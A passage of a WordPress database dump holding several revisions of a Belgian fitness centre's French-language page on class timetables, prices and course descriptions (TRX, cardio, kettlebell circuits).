style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:51:52', '2013-07-03 17:51:52', '', 11, 'http://www.crosstrainingcenter.be/?p=201', 0, 'revision', '', 0),
(202, 1, '2013-07-03 17:53:40', '2013-07-03 17:53:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 98%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:53:40', '2013-07-03 17:53:40', '', 11, 'http://www.crosstrainingcenter.be/?p=202', 0, 'revision', '', 0),
(203, 1, '2013-07-03 17:54:00', '2013-07-03 17:54:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 